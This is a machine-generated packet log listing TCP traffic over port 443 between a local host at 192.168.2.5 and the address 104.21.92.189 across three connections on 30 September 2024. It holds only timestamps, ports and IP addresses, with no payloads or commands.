Sep 30, 2024 18:58:36.862848997 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.862870932 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.862935066 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.862945080 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.863019943 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.863493919 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.863516092 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.863598108 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.863598108 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.863609076 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.863678932 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.863894939 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.863913059 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.863954067 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.863962889 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.864003897 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.864003897 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.864320993 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.864379883 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.864399910 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.864408016 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.864428043 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.867506981 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.867523909 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.867619991 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.867619991 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.867645025 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.868453026 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.868469954 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.868547916 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.868562937 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.868607044 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.889095068 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.889110088 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.889138937 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.889210939 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.889230967 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.889301062 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.892508984 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.892571926 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.892580986 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.892604113 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.892633915 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.892638922 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.892652988 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.892986059 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.893085957 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.893095970 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.893279076 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.893663883 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.893682003 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.893816948 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.893829107 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.893912077 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.894192934 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.894249916 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.894982100 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.894998074 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.895059109 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.895072937 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.895111084 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.896157980 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.896176100 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.896218061 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.896230936 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.896261930 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.896327972 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.896748066 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.896763086 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.896884918 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.896898031 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.896944046 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.908086061 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.908108950 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.908164024 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.908174992 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.908190966 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.908242941 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.908354044 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.908725023 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.908804893 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.908813000 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.908911943 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.909559011 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.909601927 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.909646988 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.909655094 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.909686089 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.909725904 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.909809113 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.909815073 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.909991026 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.910734892 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.910751104 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.910835028 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.910846949 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.910969973 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.911676884 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.911740065 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.911762953 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.911772966 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.911807060 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.911819935 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.911921024 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.911928892 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.911984921 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.916276932 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.916296005 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.916369915 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.916389942 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.916435003 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.916816950 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.916863918 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.916891098 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.916896105 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.916935921 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.924515009 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.924535036 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.924588919 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.924603939 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.924626112 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.924654007 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.925427914 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.925442934 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.925487041 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.925543070 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.925555944 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.925594091 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.944194078 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.944221020 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.944291115 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.944307089 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.944361925 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.951060057 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.951083899 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.951137066 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.951164007 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.951201916 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.951239109 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.951256037 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.951491117 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.951504946 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.951565027 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.951575994 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.951646090 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.951869965 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.951889038 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.951939106 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.951946974 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.952002048 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.953031063 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.953083992 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.953125954 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.953125954 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.953144073 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.953205109 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.954571009 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.956360102 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.956384897 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.956450939 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.956463099 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.956494093 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.956527948 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.956835985 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.956856966 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.956940889 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.956940889 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.956948996 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.957032919 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.977942944 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.977968931 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.978060007 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.978069067 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.978143930 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.983334064 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.983355045 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.983408928 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.983423948 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.983958006 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.983973980 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.984036922 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.984047890 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.984466076 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.984479904 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.984554052 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.984565973 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.984587908 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.985403061 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.985418081 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.985502958 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.985513926 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.985534906 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.985899925 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.985913992 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.985949993 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.985960007 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.985991001 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.988569975 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.988632917 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.988661051 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.996527910 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.996546984 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.996624947 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.996644974 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.996675968 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.996855021 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.996872902 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.996937990 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.996937990 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.996947050 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.997015953 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.997051001 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.997076035 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.997083902 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.997092009 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.997104883 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.997134924 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.997134924 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.997142076 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.997185946 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.997188091 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.997188091 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:36.997196913 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:36.997243881 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.001918077 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.001933098 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.002012014 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.002027035 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.002104998 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.007894993 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.007916927 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.008008957 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.008024931 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.008436918 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.008455038 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.008531094 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.008531094 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.008541107 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.008795023 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.008810043 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.008863926 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.008872986 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.008898020 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.011787891 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.011827946 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.011863947 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.011878014 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.011914968 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.012769938 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.012783051 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.012847900 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.012861013 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.031707048 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.031754017 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.031807899 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.031822920 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.031877041 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.032062054 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.032077074 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.032218933 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.032226086 CEST	443	49759	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.032326937 CEST	49759	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.039375067 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.039407969 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.039467096 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.039484978 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.039504051 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.039582968 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.039608002 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.039665937 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.039717913 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.039717913 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.039726973 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.040030003 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.040049076 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.040106058 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.040115118 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.040127039 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.040328979 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.040343046 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.040396929 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.040405989 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.040433884 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.040599108 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.040652990 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.040674925 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.040683031 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.040702105 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.043813944 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.043836117 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.043975115 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.043992996 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.044734955 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.044769049 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.044815063 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.044826031 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.044840097 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.044905901 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.066016912 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.066050053 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.066097021 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.066128016 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.066143990 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.066159010 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.066162109 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.066186905 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.066195011 CEST	443	49757	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.066225052 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.066257954 CEST	49757	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.074186087 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.074213982 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.074254990 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.074269056 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.074306011 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.074410915 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.074440956 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.074466944 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.074470997 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.074493885 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.074760914 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.074774981 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.074841022 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.074847937 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.074893951 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.075098038 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.075114012 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.075155973 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.075162888 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.075217962 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.075362921 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.075412989 CEST	49758	443	192.168.2.5	104.21.92.189
Sep 30, 2024 18:58:37.075424910 CEST	443	49758	104.21.92.189	192.168.2.5
Sep 30, 2024 18:58:37.075485945 CEST	49758	443	192.168.2.5	104.21.92.189
